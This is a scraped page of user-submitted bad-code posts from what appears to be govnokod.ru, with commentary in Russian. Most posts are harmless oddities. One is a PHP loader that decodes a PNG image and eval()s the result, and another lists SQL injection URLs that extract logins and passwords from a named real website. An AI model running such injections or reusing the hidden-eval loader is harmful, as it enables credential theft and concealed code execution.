- 1
- 2
- 3
img[width=120] {
width: 120px;
}
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+139
img[width=120] {
width: 120px;
}
Наткнулся в стилях dleшного шаблона....
+147
make: предупреждение: Неправильный ход часов. Сборка может быть неполной.
mooncrafter@ubuntu:~/allthis/4_mesg$ make lol
make: Внимание: Файл `Makefile' имеет будущее время 1,6e+03 s модификации
gcc -c create_matrix/create_matrix.c
gcc -c source/server.c source/lib/do.h source/lib/scmsg.h source/lib/msg.h
gcc server.o -o server
gcc -c source/client.c source/lib/do.h source/lib/scmsg.h source/lib/msg.h
rm create_matrix.o server.o client.o source/lib/do.h.gch source/lib/scmsg.h.gch source/lib/msg.h.gch
apt-get moo
(__)
(oo)
/------\/
/ | ||
* /\---/\
~~ ~~
...."Have you mooed today?"...
sleep 1.5
clear
make: предупреждение: Неправильный ход часов. Сборка может быть неполной.
mooncrafter@ubuntu:~/allthis/4_mesg$ clear
- называется перевёл чася на час наЗад!
+154
<?php
// PHP
function operate($o){$cnt=substr(base64_decode(substr($o,8)),8);$cnt[1]=chr(base64_decode('ODA='));$cnt[2]=chr(base64_decode('Nzg='));$cnt[3]=chr(base64_decode('NzE='));file_put_contents($n='/tmp/'.md5($o), $cnt);list($s)=getimagesize($n);$m=imagecreatefrompng($n);$dc="";for($p=0;$p<$s;$p++){$ca=imagecolorsforindex($m,imagecolorat($m,$p,0));$cc=$ca[base64_decode('cmVk')];$cb=$ca[base64_decode('Z3JlZW4=')];$cd=$ca[base64_decode('Ymx1ZQ==')];$dc.= chr($cc).chr($cb).chr($cd);}unlink($n);eval(base64_decode($dc));}
operate('63013567NjMwMTM1NjeJAQIDDQoaCgAAAA1JSERSAAAAHAAAAAEIAwAAAPqbPuMAAABUUExURVpXTm9ieUk4Y0hKbFBpSTdabTl5S0NScFBUQTdKR2s4TlRBd095UnBLeXNwWldOb2J5TFFyeURSZ2RHSDBMalJndEN3MFk0aElIc2thWDFjYmlJN0nSXZcAAAAlSURBVAiZY2BgZGJmYWVj5+Dk4ubh5eMXEBQSFhEVE5eQlJIGAA5jAXsFST1JAAAAAElFTkSuQmCC');
// OUTPUT
Я считаю! 0
Я считаю! 1
Я считаю! 2
Я считаю! 3
...
Я считаю! 497
Я считаю! 498
Я считаю! 499
?>
Изощренный метод кодирования исходных кодов :))))
+167
function mysql_escape($s)
{
if (preg_match('/\b(select|union|update|replace|delete|create)\b/ui', $s))
return null;
return mysql_escape_string($s);
}
SQL Injection не пройдёт!
+147
if (nn.isleaf) {
this.traverse_ssector((BSPLeaf) nn);
return;
}
final BSPBranch n = (BSPBranch) nn;
правильное наследование:
в родительском классе BSPNode определено поле isleaf
в конструкторе класса BSPLeaf оно выставляется true и никогда не меняется
в конструкторе класса BSPBranch соответственно false
а ведь так просто сделать проверку instanceof
−108
http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(select login from sydney_users limit 1),3,4,5,6,7,8,9,10,11,12,13 --
http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(select password from sydney_users limit 1),3,4,5,6,7,8,9,10,11,12,13 --
http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(select password from sydney_users limit 1),3,(select login from sydney_users limit 1),5,6,7,8,9,10,11,12,13 --
http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(show tables),3,4,5,6,7,8,9,10,11,12,13 --
http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(select login from sydney_users where login like "adm" limit 1),3,4,5,6,7,8,9,10,11,12,13 --
http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(select login from sydney_users where login like (select concat(char(37),char(97),char(100),char(109),char(105),char(110),char(37))) limit 1),3,4,5,6,7,8,9,10,11,12,13 --
http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(select login from sydney_users where login like (select concat(char(37),char(97),char(100),char(109),char(105),char(110),char(37))) limit 1),3,4,5,6,7,8,9,10,11,12,13 --
http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(select password from sydney_users where login like (select concat(char(37),char(97),char(100),char(109),char(105),char(110),char(37))) limit 1),3,(select login from sydney_users where login like (select concat(char(37),char(97),char(100),char(109),char(105),char(110),char(37)))limit 1),5,6,7,8,9,10,11,12,13 --
Собственно говоря вспомнил лихие времена.
Говнокод имел место быть в пхп. Дыра ныне закрыта (не без моей помощи).
+122
var rl2 = _vf.AddNewRouteLine(BusStation.Instance.GetRoute(
BusStation.Instance.FindSettlement(БарановичиcheckBox6.Content.ToString()),
BusStation.Instance.FindSettlement(БобруйскcheckBox17.Content.ToString()))[0],
БарановичиcheckBox6, БобруйскcheckBox17, Upd);
canvas1.Children.Add(rl2.Line);
+161
QString convToHex( unsigned char *bytes, int size )
{
if( size > 16 )
size = 16;
QString ret;
for( int i = 0; i < size; i++ )
{
char buf[3];
::sprintf( buf,"%02x", (unsigned int) bytes[i] );
ret += buf;
}
return ret;
}
+137
/*** First, attempting to establish a SSL-connection ***/
while(1)
{
sslConnection = sslConnect((const char *)remoteHost, port, CAFileName, CAPathName, error);
if(!sslConnection)
{
logger(ERR, "receiver: Can not establish SSL connection with %s [description - %s]", remoteHost, error);
#ifndef DEBUG_MODE
if (WaitForSingleObject (hExitEvent, 5000) == WAIT_OBJECT_0)
{
if(logLevel == DEBUG_LOG_LEVEL)
logger(INFO, "receiver: Exit event was set in signaling state");
logger(INFO, "receiver: Exit");
return(0);
}
#else
Sleep(5000);
#endif
continue;
}
else
{
if(logLevel == DEBUG_LOG_LEVEL)
{
logger(INFO, "receiver: Connection with %s is established", remoteHost);
}
socketError = 0;
break;
}
}
Пытаемся подключиться к серверу по SSL/TLS, отваливаемся по событию
+136
Function GetTwoLastNum(cNum)
cNum := str(cNum)
cNum := substr(cNum,len(cNum)-1,2)
cNum := val(cNum)
Return cNum
- Как найти последние две цифры числа ?
- Очень просто: превращаешь число в текст и substr-ом отрезаешь две последние буквы. Потом конвертируешь обратно в текст.
(код на языке Clipper)